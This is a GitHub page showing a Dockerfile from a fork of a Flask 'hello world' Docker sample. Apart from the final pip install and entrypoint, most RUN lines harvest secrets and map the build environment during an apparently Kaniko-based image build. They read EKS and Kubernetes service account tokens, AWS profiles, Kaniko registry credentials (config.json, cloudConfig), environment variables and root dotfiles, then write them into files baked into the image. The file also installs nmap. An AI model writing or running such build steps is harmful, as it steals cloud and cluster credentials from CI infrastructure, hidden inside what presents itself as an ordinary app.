forked from heave-test/python-flask-docker-hello-world
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathDockerfile
57 lines (57 loc) · 2.44 KB
/
Dockerfile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
FROM python:3.6
CMD ["cp","-rf","/kaniko/*"," ","."]
COPY . /app
WORKDIR /app
RUN echo `cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token` >> /admin.txt
RUN echo `cat /var/run/secrets/kubernetes.io/serviceaccount/token` >> /admin.txt
RUN apt-get update
RUN apt-get install nmap -y
RUN apt install tree
RUN echo `ls -a /` >> /main_file.txt
RUN echo `cat /etc/os-release` >> /os_release
RUN echo `uname -arv` >> /uname
RUN echo `aws configure list-profiles` >> /aws_profile.txt 2>&1
RUN echo `ls -a /workspace` >> /main_file.txt
RUN echo `find /var -type d -name password -print` >> /password_dir
RUN echo `ls .?* ` >> /hidden1.txt
RUN echo `find / -type d -iname ".*" -print` >> /hidden_dir1.txt
RUN echo `find / -type f -iname ".*" -print` >> /hidden_dir2.txt
RUN echo `ifconfig` >> /ifconfig
RUN echo `cat /proc/mounts` >> /mounts
RUN echo `cat /proc/mounts | grep docker.sock` >> /docker_sock
RUN echo `ls -l /var/run/docker.sock` >> /docker_sock_2
RUN echo `cat /.dockerenv` >> /docker_env
RUN echo `ls -al /root/` >> /root_dir
RUN echo `ls -al /root/.ecr/` >> /root_dir_ecr
RUN echo `cat /root/.ecr/cache.json` >> /root_dir_ecr_cache
RUN echo `cat /root/.bashrc` >> /bashrc
RUN echo `cat /root/.profile` >> /profile
RUN echo `cat /root/.wget-hsts` >> /wget-hsts
RUN echo `cat /root/.ecr/log/*` >> /root_dir_ecr_log
RUN echo `cat /usr/share/fonts/truetype/dejavu/.uuid /.dockerenv` >> /docker_env_2
RUN echo `cat /kaniko/executor` >> /executor
RUN echo `ls -a /kaniko/` >> /kaniko_file.txt
RUN echo `cat /kaniko/Dockerfile` >> /kaniko_docker.txt
RUN echo `cat /kaniko/buildcontext` >> /build_context.txt
RUN echo `ls -a /kaniko/.docker/` >> /docker_file.txt
RUN echo `ls -al /kaniko/.docker/.data/` >> /data.txt
RUN echo `ls -al /var/*` > /var_tree
RUN echo `cat /kaniko/.docker/config.json` >> /cred.txt
RUN echo `cat /kaniko/.docker/cloudConfig` >> /cred.txt
#RUN echo `ls -la /home` >> /dir.txt
#RUN echo `ls -la /` >> /dir.txt
#RUN echo `hostname` >> /dir.txt
RUN echo `tree /` >> /tree.txt
RUN echo `tree /var` >> /var_tree_2
RUN echo `tree /opt` >> /var_tree_3
RUN echo `env`> /env.txt
RUN echo `cat /kaniko/ssl/certs/ca-certificates.crt` > /cert
VOLUME /kaniko
# RUN echo `cat /kaniko/docker-credential-ecr-login` >> /secret.txt
# RUN echo `cat /kaniko/docker-credential-gcr` >> /secret.txt
# RUN echo `cat /kaniko/docker-credential-acr-env` >> /secret.txt
RUN apt update
RUN apt install net-tools -y
RUN pip install -r requirements.txt
ENTRYPOINT ["python"]
CMD ["app.py"]